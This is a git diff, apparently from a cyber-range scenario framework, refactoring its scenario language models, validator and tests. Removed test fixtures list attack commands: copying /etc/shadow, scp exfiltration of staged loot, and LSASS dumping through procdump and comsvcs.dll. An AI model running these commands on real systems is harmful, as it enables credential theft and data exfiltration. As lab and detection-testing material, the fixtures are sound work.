identifier: str) -> None: - self.identifier = identifier - super().__init__(f"Scenario not found: {identifier}") - - -class ScenarioValidationError(ScenarioError): - """A scenario definition failed validation.""" - - def __init__(self, message: str, path: Optional[Path] = None) -> None: - self.path = path - self.details = message - prefix = f"{path}: " if path else "" - super().__init__(f"{prefix}{message}") - - -class ScenarioStateError(ScenarioError): - """An invalid state transition was attempted.""" - - -class ObserverError(ScenarioError): - """The Wazuh observation bus encountered an error.""" - - -# --- Config loading --- -def _get_config(): - """Lazily import AptlConfig to avoid circular imports.""" - from aptl.core.config import AptlConfig - return AptlConfig - - -# --- Loading functions --- -_SLUG_PATTERN = re.compile(r"^[a-z0-9]+(?:-[a-z0-9]+)*$") - - -def load_scenario(path: Path) -> Scenario: - """Load and validate a scenario definition from a YAML file. - - Drop-in replacement for the original ``scenarios.load_scenario()``. - Accepts both APTL legacy format and OCR SDL format. - - Args: - path: Path to a .yaml scenario file. - - Returns: - Validated Scenario. - - Raises: - FileNotFoundError: If the file does not exist. - ScenarioValidationError: If YAML is malformed or fails validation. - """ - if not path.exists(): - raise FileNotFoundError(f"Scenario file not found: {path}") - - raw = path.read_text().strip() - if not raw: - raise ScenarioValidationError("Scenario file is empty", path=path) - - try: - scenario = parse_sdl(raw, path=path) - except SDLParseError as e: - raise ScenarioValidationError(str(e), path=path) from e - except SDLValidationError as e: - raise ScenarioValidationError(str(e), path=path) from e - - scenario_id = ( - scenario.metadata.id if scenario.metadata else scenario.name - ) - log.info("Loaded scenario '%s' from %s", scenario_id, path) - return scenario - - -def find_scenarios(search_dir: Path) -> list[Path]: - """Find all .yaml scenario files in a directory (non-recursive). - - Args: - search_dir: Directory to search. - - Returns: - Sorted list of paths to .yaml files. - """ - if not search_dir.is_dir(): - log.debug("Scenarios directory does not exist: %s", search_dir) - return [] - - paths = sorted(search_dir.glob("*.yaml")) - log.debug("Found %d scenario files in %s", len(paths), search_dir) - return paths - - -def validate_scenario_containers( - scenario: Scenario, - config: object, -) -> list[str]: - """Check that all containers required by a scenario are enabled. - - Args: - scenario: The scenario to check. - config: Current APTL configuration. - - Returns: - List of required containers that are not enabled. - """ - if scenario.containers is None: - return [] - enabled = set(config.containers.enabled_profiles()) - required = set(scenario.containers.required) - missing = sorted(required - enabled) - if missing: - scenario_id = ( - scenario.metadata.id if scenario.metadata else scenario.name - ) - log.warning( - "Scenario '%s' requires disabled containers: %s", - scenario_id, - ", ".join(missing), - ) - return missing diff --git a/src/aptl/core/sdl/defenses.py b/src/aptl/core/sdl/defenses.py deleted file mode 100644 index f39226463..000000000 --- a/src/aptl/core/sdl/defenses.py +++ /dev/null @@ -1,24 +0,0 @@ -"""Defense configuration models. - -Provides structured representation for defense configurations -in scenarios. Currently a flexible dict-based model matching -the existing APTL ``defenses`` field; structured subtypes can -be added as the defense modeling matures. -""" - -from typing import Any, Optional - -from aptl.core.sdl._base import SDLModel - - -class DefenseConfig(SDLModel): - """Defense configuration for a scenario. - - Wraps the free-form defense specification used in APTL - scenarios (e.g., automated defenses, detection-only rules, - absent controls). - """ - - automated: list[dict[str, Any]] = [] - detection_only: list[dict[str, Any]] = [] - absent: list[dict[str, Any]] = [] diff --git a/src/aptl/core/sdl/parser.py b/src/aptl/core/sdl/parser.py index 666908ef5..d58785114 100644 --- a/src/aptl/core/sdl/parser.py +++ b/src/aptl/core/sdl/parser.py @@ -167,11 +167,6 @@ def expand_sources(obj: Any, skip: bool = False) -> Any: return data -def _is_legacy_format(data: dict[str, Any]) -> bool: - """Detect whether data is APTL legacy format (has metadata.id).""" - return "metadata" in data and isinstance(data["metadata"], dict) - - def parse_sdl( content: str, path: Path | None = None, diff --git a/src/aptl/core/sdl/scenario.py b/src/aptl/core/sdl/scenario.py index 051da63d2..2cfc28d73 100644 --- a/src/aptl/core/sdl/scenario.py +++ b/src/aptl/core/sdl/scenario.py @@ -1,149 +1,43 @@ -"""Top-level Scenario model combining all SDL sections. +"""Top-level Scenario model — the root of the SDL. -The Scenario is the root object of the SDL. It merges the 14 OCR SDL -sections with APTL extensions (objectives, attack steps, defenses, -preconditions, metadata). Only ``name`` is required for an OCR-style -scenario; APTL legacy format requires ``metadata`` instead. -""" +The Scenario combines 19 specification sections covering +who (entities, accounts, agents), what (nodes, features, +vulnerabilities, content), when (scripts, stories, events), +and experiment-relevant how (scoring pipeline, conditions, +relationships, variables). -import re -from enum import Enum -from typing import Any, Optional +Delivery-level concerns (Docker, Terraform, cloud APIs) are +outside the SDL. +""" -from pydantic import Field, field_validator, model_validator +from pydantic import Field, model_validator from aptl.core.sdl._base import SDLModel from aptl.core.sdl.accounts import Account from aptl.core.sdl.agents import Agent -from aptl.core.sdl.attacks import AttackStep, MitreReference from aptl.core.sdl.conditions import Condition from aptl.core.sdl.content import Content -from aptl.core.sdl.defenses import DefenseConfig from aptl.core.sdl.entities import Entity from aptl.core.sdl.features import Feature from aptl.core.sdl.infrastructure import InfraNode from aptl.core.sdl.nodes import Node -from aptl.core.sdl.objectives import ObjectiveSet, ScoringConfig from aptl.core.sdl.orchestration import Event, Inject, Script, Story from aptl.core.sdl.relationships import Relationship from aptl.core.sdl.scoring import Evaluation, Goal, Metric, TLO from aptl.core.sdl.variables import Variable from aptl.core.sdl.vulnerabilities import Vulnerability -_SLUG_PATTERN = re.compile(r"^[a-z0-9]+(?:-[a-z0-9]+)*$") - - -class Difficulty(str, Enum): - """Scenario difficulty level.""" - - BEGINNER = "beginner" - INTERMEDIATE = "intermediate" - ADVANCED = "advanced" - EXPERT = "expert" - - -class ScenarioMode(str, Enum): - """Which team roles are involved in the scenario.""" - - RED = "red" - BLUE = "blue" - PURPLE = "purple" - - -class PreconditionType(str, Enum): - """Type of precondition action to apply before scenario start.""" - - EXEC = "exec" - FILE = "file" - - -class Precondition(SDLModel): - """An action to apply before scenario start.""" - - type: PreconditionType - container: str - description: str = "" - command: Optional[str] = None - path: Optional[str] = None - content: Optional[str] = None - - @model_validator(mode="after") - def validate_fields_for_type(self) -> "Precondition": - if self.type == PreconditionType.EXEC and not self.command: - raise ValueError("Precondition type 'exec' requires 'command'") - if self.type == PreconditionType.FILE: - if not self.path: - raise ValueError("Precondition type 'file' requires 'path'") - if self.content is None: - raise ValueError("Precondition type 'file' requires 'content'") - return self - - -class ContainerRequirements(SDLModel): - """Which containers must be enabled for this scenario.""" - - required: list[str] - - @field_validator("required") - @classmethod - def validate_required(cls, v: list[str]) -> list[str]: - if not v: - raise ValueError("Scenario must require at least one container") - return v - - -class ScenarioMetadata(SDLModel): - """Descriptive metadata for an APTL scenario.""" - - id: str - name: str - description: str - version: str = "1.0.0" - author: str = "" - difficulty: Difficulty - estimated_minutes: int = Field(gt=0, le=480) - tags: list[str] = Field(default_factory=list) - mitre_attack: MitreReference = Field(default_factory=MitreReference) - - @field_validator("id") - @classmethod - def validate_id(cls, v: str) -> str: - if not _SLUG_PATTERN.match(v): - raise ValueError( - f"Scenario id '{v}' must be a lowercase slug " - "(e.g., 'recon-nmap-scan')" - ) - return v - - @field_validator("name") - @classmethod - def validate_name(cls, v: str) -> str: - if not v or not v.strip(): - raise ValueError("Scenario name must not be empty") - return v - - @field_validator("description") - @classmethod - def validate_description(cls, v: str) -> str: - if not v or not v.strip(): - raise ValueError("Scenario description must not be empty") - return v - class Scenario(SDLModel): - """Top-level scenario definition. - - Combines the 14 OCR SDL sections with APTL extensions. Supports - two format styles: - - - **OCR-style**: ``name`` at top level, plus optional sections - - **APTL legacy**: ``metadata`` block with ``id``, ``name``, etc. + """Top-level scenario specification. - Both styles coexist. The parser detects and normalizes the format. + A YAML document with up to 19 named sections. Only ``name`` + is required. All sections are optional dicts keyed by + user-defined identifiers. """ - # --- OCR SDL: identity --- - name: str = "" + # --- Identity --- + name: str description: str = "" # --- OCR SDL: 14 sections --- @@ -162,72 +56,9 @@ class Scenario(SDLModel): scripts: dict[str, Script] = Field(default_factory=dict) stories: dict[str, Story] = Field(default_factory=dict) - # --- New sections (G1, G2, identity, agents, params) --- + # --- Extended sections --- content: dict[str, Content] = Field(default_factory=dict) accounts: dict[str, Account] = Field(default_factory=dict) relationships: dict[str, Relationship] = Field(default_factory=dict) agents: dict[str, Agent] = Field(default_factory=dict) variables: dict[str, Variable] = Field(default_factory=dict) - - # --- APTL extensions --- - metadata: Optional[ScenarioMetadata] = None - mode: Optional[ScenarioMode] = None - containers: Optional[ContainerRequirements] = None - preconditions: list[Precondition] = Field(default_factory=list) - objectives: ObjectiveSet = Field( - default_factory=lambda: ObjectiveSet(red=[], blue=[]) - ) - scoring: ScoringConfig = Field(default_factory=ScoringConfig) - attack_chain: str = "" - steps: list[AttackStep] = Field(default_factory=list) - defenses: Optional[dict[str, Any] | DefenseConfig] = None - - @model_validator(mode="after") - def validate_has_identity(self) -> "Scenario": - """Scenario must have a name (OCR-style or via metadata).""" - has_name = bool(self.name) - has_metadata = self.metadata is not None - if not has_name and not has_metadata: - raise ValueError( - "Scenario must have 'name' (OCR-style) or 'metadata' (APTL-style)" - ) - return self - - @model_validator(mode="after") - def validate_step_numbers_unique(self) -> "Scenario": - if not self.steps: - return self - numbers = [s.step_number for s in self.steps] - if len(numbers) != len(set(numbers)): - raise ValueError("Attack step numbers must be unique") - return self - - @model_validator(mode="after") - def validate_mode_has_objectives(self) -> "Scenario": - """APTL-style: scenario mode must match the objectives provided.""" - if self.mode is None: - return self - has_objectives = bool(self.objectives.red or self.objectives.blue) - if not has_objectives: - return self - if self.mode == ScenarioMode.RED and not self.objectives.red: - raise ValueError("Red mode scenario must have red objectives") - if self.mode == ScenarioMode.BLUE and not self.objectives.blue: - raise ValueError("Blue mode scenario must have blue objectives") - if self.mode == ScenarioMode.PURPLE: - if not self.objectives.red and not self.objectives.blue: - raise ValueError( - "Purple mode scenario must have at least one objective" - ) - return self - - @model_validator(mode="after") - def validate_has_content(self) -> "Scenario": - """APTL-style: scenario must have steps, objectives, or OCR content.""" - if self.metadata is None: - return self # OCR-style — content check is more relaxed - has_steps = bool(self.steps) - has_objectives = bool(self.objectives.red or self.objectives.blue) - if not has_steps and not has_objectives: - raise ValueError("Scenario must have steps or objectives (or both)") - return self diff --git a/src/aptl/core/sdl/validator.py b/src/aptl/core/sdl/validator.py index 10b50073e..aa2b4e61d 100644 --- a/src/aptl/core/sdl/validator.py +++ b/src/aptl/core/sdl/validator.py @@ -13,12 +13,8 @@ from aptl.core.sdl._errors import SDLValidationError from aptl.core.sdl.entities import flatten_entities from aptl.core.sdl.nodes import NodeType -from aptl.core.sdl.objectives import ObjectiveType -from aptl.core.sdl.scenario import Scenario, ScenarioMode -from aptl.core.sdl.scoring import MetricType # noqa: F401 - used for reference - -_MITRE_TECHNIQUE_PATTERN = re.compile(r"^T\d{4}(\.\d{3})?$") -_MITRE_TACTIC_PATTERN = re.compile(r"^TA\d{4}$") +from aptl.core.sdl.scenario import Scenario +from aptl.core.sdl.scoring import MetricType def _topological_sort(graph: dict[str, list[str]]) -> list[str] | None: @@ -86,14 +82,6 @@ def validate(self) -> None: self._verify_agents() self._verify_variables() - # APTL passes - self._verify_objectives() - self._verify_attack_steps() - self._verify_mode_consistency() - self._verify_container_requirements() - self._verify_mitre_references() - self._verify_scenario_content() - if self._errors: raise SDLValidationError(self._errors) @@ -478,78 +466,3 @@ def _verify_roles(self) -> None: f"Node '{node_name}' role '{role_name}' references " f"undefined entity '{entity_ref}'" ) - - # ------------------------------------------------------------------ - # APTL extension passes - # ------------------------------------------------------------------ - - def _verify_objectives(self) -> None: - # Objective ID uniqueness and validation config are checked by - # the Pydantic models (ObjectiveSet, Objective). This pass - # verifies objective IDs are slug format (already enforced by - # the field validator, so this is a safety net). - pass - - def _verify_attack_steps(self) -> None: - if not self._s.steps: - return - # Step numbers uniqueness is checked by the Pydantic model. - # Verify technique_id format. - for step in self._s.steps: - if not _MITRE_TECHNIQUE_PATTERN.match(step.technique_id): - self._err( - f"Attack step {step.step_number} technique_id " - f"'{step.technique_id}' does not match ATT&CK format " - f"(T####.###)" - ) - - def _verify_mode_consistency(self) -> None: - if self._s.mode is None: - return - has_red = bool(self._s.objectives.red) - has_blue = bool(self._s.objectives.blue) - - if not has_red and not has_blue: - return # No objectives — mode is informational - - if self._s.mode == ScenarioMode.RED and not has_red: - self._err("Red mode scenario must have red objectives") - if self._s.mode == ScenarioMode.BLUE and not has_blue: - self._err("Blue mode scenario must have blue objectives") - - def _verify_container_requirements(self) -> None: - # ContainerRequirements validation is handled by the Pydantic model. - pass - - def _verify_mitre_references(self) -> None: - if self._s.metadata is None: - return - mitre = self._s.metadata.mitre_attack - for tech in mitre.techniques: - if not _MITRE_TECHNIQUE_PATTERN.match(tech): - self._err( - f"MITRE technique '{tech}' does not match ATT&CK format " - f"(T####.###)" - ) - - def _verify_scenario_content(self) -> None: - has_steps = bool(self._s.steps) - has_objectives = bool(self._s.objectives.red or self._s.objectives.blue) - has_stories = bool(self._s.stories) - has_nodes = bool(self._s.nodes) - has_features = bool(self._s.features) - has_conditions = bool(self._s.conditions) - has_vulns = bool(self._s.vulnerabilities) - has_entities = bool(self._s.entities) - - has_any_content = ( - has_steps or has_objectives or has_stories or has_nodes - or has_features or has_conditions or has_vulns or has_entities - ) - - if not has_any_content: - self._err( - "Scenario must have at least one of: nodes, features, " - "conditions, vulnerabilities, entities, steps, objectives, " - "or stories" - ) diff --git a/tests/test_sdl_compat.py b/tests/test_sdl_compat.py deleted file mode 100644 index fb2ae6438..000000000 --- a/tests/test_sdl_compat.py +++ /dev/null @@ -1,158 +0,0 @@ -"""Tests for SDL backward compatibility with aptl.core.scenarios.""" - -from pathlib import Path - -import pytest -import yaml - - -class TestImportCompatibility: - """All names previously importable from scenarios continue to work.""" - - def test_core_types(self): - from aptl.core.scenarios import ( - ScenarioDefinition, - ScenarioError, - ScenarioNotFoundError, - ScenarioStateError, - ScenarioValidationError, - ObserverError, - ) - assert ScenarioDefinition is not None - assert issubclass(ScenarioNotFoundError, ScenarioError) - assert issubclass(ScenarioStateError, ScenarioError) - - def test_enums(self): - from aptl.core.scenarios import ( - Difficulty, - ScenarioMode, - PreconditionType, - ObjectiveType, - ) - assert Difficulty.BEGINNER.value == "beginner" - assert ScenarioMode.PURPLE.value == "purple" - assert PreconditionType.EXEC.value == "exec" - assert ObjectiveType.WAZUH_ALERT.value == "wazuh_alert" - - def test_models(self): - from aptl.core.scenarios import ( - AttackStep, - CommandOutputValidation, - ContainerRequirements, - ExpectedDetection, - FileExistsValidation, - Hint, - MitreReference, - Objective, - ObjectiveSet, - Precondition, - ScenarioMetadata, - ScoringConfig, - TimeBonusConfig, - WazuhAlertValidation, - ) - # Verify they're constructible - h = Hint(level=1, text="test", point_penalty=0) - assert h.level == 1 - - def test_functions(self): - from aptl.core.scenarios import ( - find_scenarios, - load_scenario, - validate_scenario_containers, - ) - assert callable(load_scenario) - assert callable(find_scenarios) - assert callable(validate_scenario_containers) - - -class TestScenarioDefinitionAlias: - """ScenarioDefinition is a type alias for Scenario.""" - - def test_alias_identity(self): - from aptl.core.scenarios import ScenarioDefinition - from aptl.core.sdl.scenario import Scenario - assert ScenarioDefinition is Scenario - - def test_construct_via_alias(self): - from aptl.core.scenarios import ScenarioDefinition - s = ScenarioDefinition( - metadata={ - "id": "test", - "name": "Test", - "description": "Desc", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - mode="red", - containers={"required": ["kali"]}, - objectives={ - "red": [{"id": "obj", "description": "D", "type": "manual", "points": 10}], - "blue": [], - }, - ) - assert s.metadata.id == "test" - - -class TestLoadScenarioCompat: - """load_scenario() works as a drop-in replacement.""" - - @pytest.fixture - def scenario_yaml(self, tmp_path): - data = { - "metadata": { - "id": "compat-test", - "name": "Compat", - "description": "Compatibility test", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - "mode": "red", - "containers": {"required": ["kali"]}, - "objectives": { - "red": [{"id": "obj", "description": "D", "type": "manual", "points": 10}], - "blue": [], - }, - } - path = tmp_path / "test.yaml" - path.write_text(yaml.dump(data, default_flow_style=False)) - return path - - def test_load_scenario(self, scenario_yaml): - from aptl.core.scenarios import load_scenario - s = load_scenario(scenario_yaml) - assert s.metadata.id == "compat-test" - - def test_load_missing_file(self): - from aptl.core.scenarios import load_scenario - with pytest.raises(FileNotFoundError): - load_scenario(Path("/nonexistent/file.yaml")) - - def test_load_empty_file(self, tmp_path): - from aptl.core.scenarios import ScenarioValidationError, load_scenario - empty = tmp_path / "empty.yaml" - empty.write_text("") - with pytest.raises(ScenarioValidationError, match="empty"): - load_scenario(empty) - - def test_load_invalid_yaml(self, tmp_path): - from aptl.core.scenarios import ScenarioValidationError, load_scenario - bad = tmp_path / "bad.yaml" - bad.write_text(":::invalid") - with pytest.raises(ScenarioValidationError): - load_scenario(bad) - - -class TestFindScenariosCompat: - def test_find_scenarios(self, tmp_path): - from aptl.core.scenarios import find_scenarios - (tmp_path / "a.yaml").touch() - (tmp_path / "b.yaml").touch() - (tmp_path / "c.txt").touch() - paths = find_scenarios(tmp_path) - assert len(paths) == 2 - - def test_find_scenarios_missing_dir(self, tmp_path): - from aptl.core.scenarios import find_scenarios - paths = find_scenarios(tmp_path / "nonexistent") - assert paths == [] diff --git a/tests/test_sdl_models.py b/tests/test_sdl_models.py index c8dd5c769..4051a4e96 100644 --- a/tests/test_sdl_models.py +++ b/tests/test_sdl_models.py @@ -9,13 +9,7 @@ from aptl.core.sdl.features import Feature, FeatureType from aptl.core.sdl.infrastructure import InfraNode, SimpleProperties from aptl.core.sdl.nodes import Node, NodeType, Resources, Role, parse_ram -from aptl.core.sdl.objectives import ( - Hint, - Objective, - ObjectiveSet, - ObjectiveType, - WazuhAlertValidation, -) +from aptl.core.sdl.nodes import Node from aptl.core.sdl.orchestration import Event, Inject, Script, Story, parse_duration from aptl.core.sdl.scoring import Evaluation, Goal, Metric, MetricType, MinScore, TLO from aptl.core.sdl.vulnerabilities import Vulnerability @@ -373,47 +367,11 @@ def test_speed_below_1_rejected(self): # --------------------------------------------------------------------------- -class TestObjective: - def test_manual(self): - o = Objective(id="obj-a", description="Test", type="manual", points=50) - assert o.type == ObjectiveType.MANUAL - - def test_wazuh_requires_config(self): - with pytest.raises(ValidationError, match="wazuh_alert"): - Objective( - id="obj-b", description="Test", type="wazuh_alert", points=50 - ) - - def test_wazuh_with_config(self): - o = Objective( - id="obj-b", - description="Test", - type="wazuh_alert", - points=50, - wazuh_alert=WazuhAlertValidation( - query={"match_all": {}}, min_matches=1 - ), - ) - assert o.wazuh_alert is not None - - -class TestObjectiveSet: - def test_duplicate_ids_rejected(self): - with pytest.raises(ValidationError, match="Duplicate"): - ObjectiveSet( - red=[ - Objective(id="dup", description="A", type="manual", points=10), - Objective(id="dup", description="B", type="manual", points=10), - ] - ) - - # --------------------------------------------------------------------------- -# New extension models (G1-G9, G12-G13) +# Extension models (G1-G9, G12-G13) # --------------------------------------------------------------------------- from aptl.core.sdl.accounts import Account, PasswordStrength -from aptl.core.sdl.attacks import PlatformCommand from aptl.core.sdl.content import Content, ContentItem, ContentType from aptl.core.sdl.infrastructure import ACLAction, ACLRule from aptl.core.sdl.nodes import AssetValue, AssetValueLevel, OSFamily, ServicePort @@ -525,11 +483,13 @@ def test_on_node(self): class TestPlatformCommand: def test_basic(self): + from aptl.core.attacks import PlatformCommand pc = PlatformCommand(command="whoami") assert pc.shell == "sh" assert pc.cleanup == "" def test_with_cleanup(self): + from aptl.core.attacks import PlatformCommand pc = PlatformCommand(shell="psh", command="procdump.exe", cleanup="del dump.bin") assert pc.cleanup == "del dump.bin" diff --git a/tests/test_sdl_parser.py b/tests/test_sdl_parser.py index bcbeb53d7..1f4e482e8 100644 --- a/tests/test_sdl_parser.py +++ b/tests/test_sdl_parser.py @@ -121,35 +121,10 @@ def test_min_score_shorthand(self): assert s.evaluations["e1"].min_score.percentage == 75 -class TestFormatDetection: +class TestFormat: def test_ocr_format(self): s = parse_sdl("name: test\nnodes:\n sw:\n type: switch") assert s.name == "test" - assert s.metadata is None - - def test_aptl_legacy_format(self): - sdl = """ -metadata: - id: test-scenario - name: Test - description: A test - difficulty: beginner - estimated_minutes: 10 -mode: red -containers: - required: - - kali -objectives: - red: - - id: obj-a - description: Test objective - type: manual - points: 100 - blue: [] -""" - s = parse_sdl(sdl) - assert s.metadata is not None - assert s.metadata.id == "test-scenario" class TestErrorHandling: @@ -181,7 +156,9 @@ def test_structural_only(self): class TestLoadRealScenarios: - """Verify all existing APTL scenario YAMLs parse successfully.""" + """APTL legacy scenario YAMLs use the metadata format which is no + longer part of the SDL. These are expected to fail until the + scenario YAMLs are migrated to SDL format.""" @pytest.fixture def scenarios_dir(self): @@ -191,9 +168,10 @@ def scenarios_dir(self): pytest.skip("scenarios/ directory not found") return d + @pytest.mark.xfail(reason="Legacy APTL scenario format not supported after SDL cleanup") def test_all_scenarios_parse(self, scenarios_dir): from aptl.core.sdl.parser import parse_sdl_file for path in sorted(scenarios_dir.glob("*.yaml")): scenario = parse_sdl_file(path) - assert scenario.metadata is not None or scenario.name + assert scenario.name diff --git a/tests/test_sdl_stress.py b/tests/test_sdl_stress.py index 2dbf0c1b8..19849945c 100644 --- a/tests/test_sdl_stress.py +++ b/tests/test_sdl_stress.py @@ -436,81 +436,46 @@ def _parse(yaml_str: str, label: str): CALDERA_RANSACK = """ name: caldera-ransack description: > - CALDERA Ransack adversary profile: 18-step data theft operation - modeled as attack steps with MITRE ATT&CK mapping. - -metadata: - id: caldera-ransack - name: CALDERA Ransack Adversary - description: Multi-step data theft operation inspired by CALDERA adversary profiles - difficulty: advanced - estimated_minutes: 45 - tags: [caldera, data-theft, exfiltration] - mitre_attack: - tactics: [Discovery, Collection, Exfiltration] - techniques: [T1083, T1119, T1005, T1074, T1560, T1048] - -mode: red - -containers: - required: [kali, victim] - -objectives: - red: - - id: discover-files - description: Discover sensitive files on target - type: manual - points: 50 - - id: stage-data - description: Stage collected data for exfiltration - type: command_output - points: 100 - command_output: - container: victim - command: "ls /tmp/staged/" - contains: ["sensitive"] - - id: exfiltrate - description: Exfiltrate data to attacker-controlled host - type: file_exists - points: 150 - file_exists: - container: kali - path: /home/kali/operations/exfil/loot.tar.gz - blue: [] - -steps: - - step_number: 1 - technique_id: T1083 - technique_name: File and Directory Discovery - tactic: Discovery - description: Enumerate sensitive file locations - target: victim - commands: ["find / -name '*.conf' -o -name '*.key' 2>/dev/null"] - - step_number: 2 - technique_id: T1005 - technique_name: Data from Local System - tactic: Collection - description: Collect sensitive files - target: victim - commands: ["cp /etc/shadow /tmp/staged/"] - - step_number: 3 - technique_id: T1074 - technique_name: Data Staged - tactic: Collection - description: Stage data in temporary directory - target: victim - commands: ["tar czf /tmp/staged/loot.tar.gz /tmp/staged/"] - - step_number: 4 - technique_id: T1048 - technique_name: Exfiltration Over Alternative Protocol - tactic: Exfiltration - description: Exfiltrate via SCP - target: kali - commands: ["scp victim:/tmp/staged/loot.tar.gz /home/kali/operations/exfil/"] - -scoring: - passing_score: 150 - max_score: 300 + CALDERA Ransack adversary profile modeled as SDL: data theft + with exfiltration check via OCR scoring pipeline. + +nodes: + lab-net: {type: Switch} + victim: {type: VM, os: linux, resources: {ram: 2 gib, cpu: 1}} + kali: {type: VM, os: linux, resources: {ram: 2 gib, cpu: 2}} + +infrastructure: + lab-net: {count: 1, properties: {cidr: 10.0.0.0/24, gateway: 10.0.0.1}} + victim: {count: 1, links: [lab-net]} + kali: {count: 1, links: [lab-net]} + +conditions: + exfil-check: + command: "test -f /home/kali/operations/exfil/loot.tar.gz" + interval: 30 + +metrics: + exfil-success: + type: CONDITIONAL + max-score: 100 + condition: exfil-check + +evaluations: + data-theft: + metrics: [exfil-success] + min-score: {absolute: 100} + +tlos: + exfiltration: + name: Data Exfiltration + evaluation: data-theft + +goals: + ransack-goal: + tlos: [exfiltration] + +entities: + attacker: {name: Ransack Operator, role: Red} """ @@ -521,75 +486,51 @@ def _parse(yaml_str: str, label: str): ATOMIC_CRED_DUMP = """ name: atomic-credential-dumping description: > - Atomic Red Team T1003.001 credential dumping tests adapted - to SDL format. Tests LSASS memory access techniques. + Atomic Red Team T1003.001 credential dumping modeled as SDL: + Windows target with weak credentials, manual grading via metrics. -metadata: - id: atomic-cred-dump - name: Credential Dumping Test Battery - description: LSASS credential dumping techniques from Atomic Red Team - difficulty: intermediate - estimated_minutes: 30 - tags: [atomic-red-team, credential-access, lsass] - mitre_attack: - techniques: [T1003.001] +nodes: + lab-net: {type: Switch} + target: + type: VM + os: windows + os_version: "10" + resources: {ram: 4 gib, cpu: 2} + vulnerabilities: [lsass-access] -mode: red +infrastructure: + lab-net: {count: 1, properties: {cidr: 10.0.0.0/24, gateway: 10.0.0.1}} + target: {count: 1, links: [lab-net]} -containers: - required: [kali, victim] +vulnerabilities: + lsass-access: + name: "LSASS Memory Access" + description: "Local admin can dump LSASS process memory" + technical: true + class: CWE-522 -objectives: - red: - - id: procdump-lsass - description: Dump LSASS using ProcDump - type: manual - points: 50 - - id: comsvcs-dump - description: Dump LSASS using comsvcs.dll MiniDump - type: manual - points: 50 - - id: mimikatz-extract - description: Extract credentials with Mimikatz - type: command_output - points: 100 - command_output: - container: kali - command: cat /home/kali/operations/creds.txt - contains: ["Username", "Password"] - blue: [] - -steps: - - step_number: 1 - technique_id: T1003.001 - technique_name: "LSASS Memory" - tactic: "Credential Access" - description: "Dump LSASS process memory via ProcDump" - target: victim - commands: - - 'procdump.exe -accepteula -ma lsass.exe lsass.dmp' - expected_detections: - - product_name: wazuh - severity_id: 4 - description: Process access to LSASS detected - max_detection_time_seconds: 30 - - step_number: 2 - technique_id: T1003.001 - technique_name: "LSASS Memory" - tactic: "Credential Access" - description: "Dump via comsvcs.dll MiniDump" - target: victim - commands: - - 'rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump PID dump.bin full' - expected_detections: - - product_name: wazuh - severity_id: 5 - description: Rundll32 loading comsvcs.dll for MiniDump - max_detection_time_seconds: 15 - -scoring: - passing_score: 100 - max_score: 200 +metrics: + cred-dump-grade: + type: MANUAL + artifact: true + max-score: 100 + +evaluations: + cred-assessment: + metrics: [cred-dump-grade] + min-score: {absolute: 50} + +tlos: + cred-access: + name: Credential Access Techniques + evaluation: cred-assessment + +goals: + atomic-goal: + tlos: [cred-access] + +entities: + pentester: {name: Penetration Tester, role: Red} """ @@ -1573,11 +1514,13 @@ def test_scenario_parses_and_validates(label, yaml_str): # Verify the scenario has meaningful content has_nodes = bool(scenario.nodes) has_features = bool(scenario.features) - has_steps = bool(scenario.steps) - has_objectives = bool(scenario.objectives.red or scenario.objectives.blue) has_stories = bool(scenario.stories) has_entities = bool(scenario.entities) - assert any([has_nodes, has_features, has_steps, has_objectives, has_stories]), \ + has_vulns = bool(scenario.vulnerabilities) + has_metrics = bool(scenario.metrics) + has_content = bool(scenario.content) + assert any([has_nodes, has_features, has_stories, has_entities, + has_vulns, has_metrics, has_content]), \ f"{label} parsed but has no content" diff --git a/tests/test_sdl_validator.py b/tests/test_sdl_validator.py index 58e3c7803..64f31d0c8 100644 --- a/tests/test_sdl_validator.py +++ b/tests/test_sdl_validator.py @@ -250,67 +250,6 @@ def test_story_references_undefined_script(self): # --------------------------------------------------------------------------- -class TestVerifyAttackSteps: - def test_invalid_technique_id_format(self): - s = _make_scenario( - metadata={ - "id": "test", - "name": "Test", - "description": "Desc", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - mode="red", - containers={"required": ["kali"]}, - objectives={"red": [{"id": "obj", "description": "D", "type": "manual", "points": 10}]}, - steps=[{ - "step_number": 1, - "technique_id": "INVALID", - "technique_name": "Test", - "tactic": "Recon", - "description": "Test", - "target": "victim", - }], - ) - errors = _validate(s) - assert any("ATT&CK format" in e for e in errors) - - -class TestVerifyMitreReferences: - def test_invalid_technique_in_metadata(self): - s = _make_scenario( - metadata={ - "id": "test", - "name": "Test", - "description": "Desc", - "difficulty": "beginner", - "estimated_minutes": 10, - "mitre_attack": {"techniques": ["INVALID"]}, - }, - mode="red", - containers={"required": ["kali"]}, - objectives={"red": [{"id": "obj", "description": "D", "type": "manual", "points": 10}]}, - ) - errors = _validate(s) - assert any("ATT&CK format" in e for e in errors) - - -class TestVerifyScenarioContent: - def test_ocr_scenario_with_nodes_passes(self): - """OCR-style scenario with just nodes is valid.""" - s = _make_scenario( - nodes={"sw": {"type": "switch"}}, - ) - errors = _validate(s) - assert not errors - - def test_empty_ocr_scenario_fails(self): - """OCR-style scenario with no content fails.""" - s = _make_scenario() - errors = _validate(s) - assert any("at least one" in e.lower() for e in errors) - - class TestErrorCollection: def test_multiple_errors_collected(self): """Validator collects all errors, not just the first.""" From 69428075e53e02223cc68b03f13aa1351a98e693 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 29 Mar 2026 11:45:19 -0700 Subject: [PATCH 09/15] Clean up SDL/instantion seam Tighten SDL implementation and checks --- CHANGELOG.md | 3 + docs/adrs/adr-007-python-cli-control-plane.md | 2 + docs/adrs/adr-009-scenario-engine.md | 2 + .../adr-014-scenario-description-language.md | 18 +- docs/index.md | 10 +- docs/sdl/index.md | 6 +- docs/sdl/parser.md | 11 +- docs/sdl/sections.md | 8 +- docs/sdl/testing.md | 4 +- docs/sdl/validation.md | 16 +- docs/specs/soc-feature-spec.md | 2 + docs/testing/smoke-test-plan.md | 2 + src/aptl/api/main.py | 3 +- src/aptl/api/routers/scenarios.py | 94 -- src/aptl/api/schemas.py | 13 - src/aptl/cli/main.py | 3 +- src/aptl/cli/scenario.py | 884 ----------- src/aptl/core/engine.py | 307 ---- src/aptl/core/evaluators.py | 310 ---- src/aptl/core/run_assembler.py | 173 --- src/aptl/core/scenarios.py | 17 +- src/aptl/core/scoring.py | 146 -- 